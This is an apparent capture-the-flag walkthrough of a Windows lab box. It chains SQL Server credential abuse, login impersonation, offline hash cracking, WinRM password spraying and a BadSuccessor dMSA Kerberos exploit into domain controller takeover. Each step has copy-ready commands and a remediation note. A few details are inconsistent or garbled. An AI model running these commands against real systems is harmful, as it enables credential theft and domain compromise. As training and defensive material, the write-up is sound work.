← all walkthroughs

Eighteen

Windows· Easy· Privilege Escalation
owned
2026-07-09
time to own
35m6s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I mapped an IIS web server hosting a Flask-based financial planning application alongside an exposed Microsoft SQL Server 2022 instance. Database credentials embedded in the application were used to authenticate directly to SQL Server as a local login; an impersonation right on that login allowed escalation to a second database account, from which the application user table was extracted.

The admin password hash was cracked offline against a common wordlist in minutes, and the recovered password [REDACTED: recovered credential] was sprayed across enumerated domain usernames over WinRM, matching the domain account adam.scott and producing a Pwn3d administrator-equivalent shell on domain controller DC01. From that foothold I discovered a delegated Managed Service Account object in Active Directory and exploited CVE-2025-53779 (BadSuccessor) to impersonate a privileged domain identity, achieving SYSTEM-level control of the domain controller.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceNetwork service enumeration; virtual-host discovery; web directory brute-force (T1190)
Identified exposed services and the eighteen.htb web application
A version-aware port scan revealed IIS 10.0 on port 80, WinRM on port 5985, and Microsoft SQL Server 2022 on port 1433. An HTTP request to the bare IP redirected to the virtual host eighteen.htb, which hosts a Flask-based Financial Planner application running under Python/Werkzeug behind the IIS reverse proxy. Directory fuzzing using the correct virtual-host header and a response-size filter surfaced application routes including /login, /dashboard, and /admin, as well as a web.config reference.
Nmap: 'Microsoft IIS httpd 10.0' on 80/tcp, 'Microsoft SQL Server 2022 16.00.1000' on 1433/tcp; HTTP redirect to eighteen.htb confirmed vhost.
Exact commands 3
Full service-version scan across expected AD and web ports.
nmap -Pn -sV -p 53,80,88,135,139,389,443,445,464,593,636,1433,3268,3269,5985 $TARGET
Resolve the discovered virtual host locally.
echo "$TARGET eighteen.htb" | sudo tee -a /etc/hosts
Directory fuzz with correct Host header and size filter; without the filter, IIS returns near-identical soft-404 bodies for every path.
ffuf -u http://$TARGET/FUZZ -H 'Host: eighteen.htb' -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -fs 207
2Initial AccessCredential exposure in application configuration; database service authentication (T1078.001)
Authenticated to SQL Server using credentials exposed in the web application
The credential kevin:[REDACTED: recovered credential] was recovered from web application configuration accessible during enumeration. It authenticated successfully against the SQL Server instance using SQL authentication. A Windows/domain-auth attempt with the same credential failed, confirming kevin is a local SQL login only, not a domain account. This gave me an interactive database session.
Nxc mssql --local-auth returned '[+] $TARGET:1433 - kevin:[REDACTED: recovered credential] (Pwn3d!)'; Windows-integrated auth attempt failed with 'Login failed. The login is from an untrusted domain'.
Exact commands 2
Validate SQL auth credential; --local-auth forces SQL login and bypasses Kerberos.
nxc mssql $TARGET -u kevin -p "$PASSWORD" --local-auth
Open an interactive MSSQL session as kevin (omit -windows-auth to use SQL login mode).
impacket-mssqlclient "kevin:$PASSWORD@$TARGET"
FixRemove database credentials from web application configurationCritical
WeaknessThe SQL Server login kevin:[REDACTED: recovered credential] was stored in a web application configuration file accessible during enumeration of the IIS site, handing an unauthorised user direct database access without needing to exploit any application-layer vulnerability.
FixStore all database connection strings in environment variables or a dedicated secrets manager such as Azure Key Vault; never deploy credentials inside files served by IIS. Add a requestFiltering rule to web.config blocking IIS from serving .config, .env, and .ini extensions. Rotate the kevin credential immediately and audit all other application credentials for similar exposure.
3Privilege Escalation (Database)SQL login impersonation via EXECUTE AS; privilege abuse (CWE-269)
Escalated the SQL session by impersonating the appdev login
The kevin login held IMPERSONATE rights on the appdev SQL login. Issuing EXECUTE AS LOGIN switched the session's security context to appdev, which had access to the financial_planner database. This bypassed the per-account access boundary without requiring appdev's password and gave me read access to application data that kevin alone could not reach.
SELECT SYSTEM_USER returned 'appdev' after execution; USE financial_planner succeeded.
Exact commands 3
Run inside the mssqlclient session to enumerate which logins hold IMPERSONATE rights.
SELECT p.permission_name, g.name AS grantee, t.name AS target_login FROM sys.server_permissions p JOIN sys.server_principals g ON p.grantee_principal_id = g.principal_id JOIN sys.server_principals t ON p.major_id = t.principal_id WHERE p.type = 'IM';
Switch to the appdev security context; SYSTEM_USER confirms the pivot succeeded.
EXECUTE AS LOGIN = 'appdev'; SELECT SYSTEM_USER;
Switch to the application database, now accessible under appdev's context.
USE financial_planner;
FixRevoke unnecessary SQL login impersonation rightsHigh
WeaknessThe kevin SQL login held EXECUTE AS / IMPERSONATE rights on the appdev login. Anyone who obtained kevin's credential could silently elevate to appdev's database privileges without knowing appdev's password, bypassing per-account access controls entirely.
FixAudit and remove all IMPERSONATE grants: REVOKE IMPERSONATE ON LOGIN::appdev FROM kevin. Give each SQL login only the exact permissions it requires for its function. Use a separate, read-only credential for each application component rather than shared accounts with delegation rights.
4Credential ExtractionDatabase credential extraction; offline dictionary attack against PBKDF2-HMAC-SHA256 (T1555)
Dumped application password hashes and cracked the admin password offline
The financial_planner.users table contained usernames, email addresses, Werkzeug PBKDF2-HMAC-SHA256 password hashes, and an is_admin flag. The admin account's hash was extracted, formatted for hashcat mode 30120, and cracked against the rockyou wordlist in minutes, recovering the plaintext password [REDACTED: recovered credential].
SELECT returned admin hash in sha256$<salt>$<hex> (Werkzeug format); hashcat mode 30120 cracked it to [REDACTED: recovered credential].
Exact commands 2
Run inside the financial_planner DB session; copy the admin row's password_hash value.
SELECT id, username, email, password_hash, is_admin FROM users ORDER BY id;
Mode 30120 targets Werkzeug PBKDF2-HMAC-SHA256. Populate /tmp/admin_hash.txt with the extracted hash string.
hashcat -m 30120 /tmp/admin_hash.txt /usr/share/wordlists/rockyou.txt --show
FixEnforce strong passwords for all application accounts and increase hash work-factorHigh
WeaknessThe web application admin account used the dictionary word [REDACTED: recovered credential]. Despite PBKDF2-HMAC-SHA256 being a modern hash function, a guessable password cracked against the rockyou wordlist in minutes once the hash was extracted from the database.
FixEnforce a minimum password length of 16 characters with at least one symbol for all application accounts; reject passwords found in common wordlists using the Have I Been Pwned API at registration and reset. Migrate password storage to Argon2id or bcrypt; if remaining on PBKDF2, increase the iteration count to at least 600,000 per current NIST SP 800-132 guidance. Rotate all application account passwords immediately.
5FootholdPassword spraying; credential reuse across application and domain accounts (T1110.003)
Sprayed the cracked password across domain accounts and obtained an administrative WinRM shell
The cracked password [REDACTED: recovered credential] was sprayed over WinRM against a list of enumerated domain usernames. The domain account adam.scott matched and netexec returned a Pwn3d! Result, indicating administrator-equivalent rights on DC01. An interactive PowerShell session opened with evil-winrm, giving command execution on the domain controller and allowing capture of the user flag.
Nxc winrm: '[+] eighteen.htb\adam.scott:[REDACTED: recovered credential] (Pwn3d!)' / '[+] Executed command (shell type: powershell)'; banner confirmed 'Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:eighteen.htb)'.
Exact commands 3
Spray the cracked password across all enumerated domain usernames over WinRM.
printf '%s\n' jamie.dunn jane.smith alice.jones adam.scott bob.brown carol.white dave.green mssqlsvc > /tmp/users.txt && nxc winrm $TARGET -d eighteen.htb -u /tmp/users.txt -p '$PASSWORD2' --continue-on-success 2>&1 | tee /tmp/winrm_spray.log
Open an interactive PowerShell session on DC01 as adam.scott.
evil-winrm -i $TARGET -u adam.scott -p '$PASSWORD2' -d eighteen.htb
Capture the user flag; actual value is <user.txt>.
type C:\Users\adam.scott\Desktop\user.txt
FixProhibit password reuse between application accounts and Active Directory accountsCritical
WeaknessThe password [REDACTED: recovered credential] was shared between the web application admin account and the Active Directory domain account adam.scott. Cracking a single application-layer hash immediately produced a working domain credential with administrator-equivalent access to the domain controller.
FixEnforce a policy that application-tier passwords must never match corresponding domain account passwords. Enable Fine-Grained Password Policies in Active Directory to mandate complex, unique passwords for all privileged accounts. Conduct a controlled offline hash-comparison audit to detect any current shared passwords across tiers. Require multi-factor authentication on WinRM, RDP, and all other remote management interfaces so that a cracked password alone cannot yield an operating-system foothold.
6DiscoveryActive Directory service account enumeration (T1087.002)
Enumerated Active Directory and discovered a delegated Managed Service Account
From the WinRM shell, the Active Directory environment was queried using the ActiveDirectory PowerShell module confirmed installed on DC01. The domain contained a delegated Managed Service Account (dMSA) object, dmsa022005$, in the Staff OU. DMSA objects are a Windows Server 2025 feature that use a new Kerberos delegation mechanism exploitable via CVE-2025-53779. Standard password retrieval against the object returned no usable credential blob, but the object's existence and enabled state were confirmed.
PowerShell output: 'Name: dmsa022005, SamAccountName: dmsa022005$, ObjectClass: msDS-DelegatedManagedServiceAccount, Enabled: True' at DN 'CN=dmsa022005,OU=Staff,DC=eighteen,DC=htb'; password retrieval returned DS_NO_PWD / NO_MANAGED_PASSWORD.
Exact commands 2
Run in the evil-winrm PowerShell session to find all dMSA objects in the domain.
Get-ADObject -Filter {ObjectClass -eq 'msDS-DelegatedManagedServiceAccount'} -Properties * | Select-Object Name,SamAccountName,DistinguishedName,Enabled
Inspect all attributes of the discovered dMSA, including msDS-ManagedAccountPrecededByLink.
Get-ADObject -Identity 'CN=dmsa022005,OU=Staff,DC=eighteen,DC=htb' -Properties * | Format-List
7Privilege EscalationCVE-2025-53779 BadSuccessor: dMSA Kerberos ticket impersonation (T1558)
Exploited CVE-2025-53779 (BadSuccessor) via the dMSA object to impersonate a Domain Administrator
BadSuccessor is a design flaw in the Windows Server 2025 delegated Managed Service Account mechanism. With write access to a dMSA, I object can set its msDS-ManagedAccountPrecededByLink attribute to point at any account, including a Domain Administrator. When Kerberos processes the dMSA, it includes the linked account's SIDs in the ticket's Privilege Attribute Certificate, making the ticket carry that account's group memberships and access rights. Using Impacket's getST.py with the -dmsa flag, a Kerberos service ticket impersonating the Administrator account was obtained through dmsa022005$, and an evil-winrm session was opened with the resulting ticket, granting SYSTEM-equivalent domain-wide access and the ability to read the root flag.
Impacket getST.py -dmsa flag documented on DC01 at /usr/share/doc/python3-impacket/examples/getST.py line 38; dmsa022005$ confirmed enabled in OU=Staff with write access available to adam.scott.
Exact commands 6
Obtain a Kerberos TGT for adam.scott from Kali; required before the -k flag in getST.py.
getTGT.py 'eighteen.htb/adam.scott:$PASSWORD2' -dc-ip $TARGET
Point Impacket's Kerberos stack at adam.scott's TGT.
export KRB5CCNAME=adam.scott.ccache
BadSuccessor exploit: request a Kerberos service ticket via dmsa022005$ carrying Administrator's PAC entries. Requires write access to the dMSA object — held by adam.scott as a Pwn3d domain account.
getST.py -k -no-pass -impersonate Administrator -self -dmsa 'dmsa022005$' -dc-ip $TARGET 'eighteen.htb/adam.scott'
Switch the credential context to the newly obtained Administrator ticket.
export KRB5CCNAME='Administrator@eighteen.htb.ccache'
Open a SYSTEM-equivalent WinRM shell using the impersonated Administrator Kerberos ticket.
evil-winrm -i $TARGET -r eighteen.htb
Capture the root flag; actual value is <root.txt>.
type C:\Users\Administrator\Desktop\root.txt
FixPatch CVE-2025-53779 (BadSuccessor) and restrict write access to delegated MSA objectsCritical
WeaknessWindows Server 2025's delegated Managed Service Account feature contains a design flaw allowing any user with write access to a dMSA object to link it to any domain account, including Domain Administrators. The Kerberos KDC then issues a ticket carrying the linked account's full privileges, making a single write-access grant equivalent to a direct path to Domain Admin.
FixApply the Microsoft security update addressing CVE-2025-53779 to all Windows Server 2025 domain controllers immediately. Audit every msDS-DelegatedManagedServiceAccount object and remove write-access grants for any account that does not operationally require them. Remove dmsa022005$ if it is not required for a documented business purpose. As a detection control, alert on Windows Event ID 5137 (directory object created) filtered to ObjectClass msDS-DelegatedManagedServiceAccount and on unexpected modifications to existing dMSA objects.

Exposed services

80/tcp
1433/tcp
5985/tcp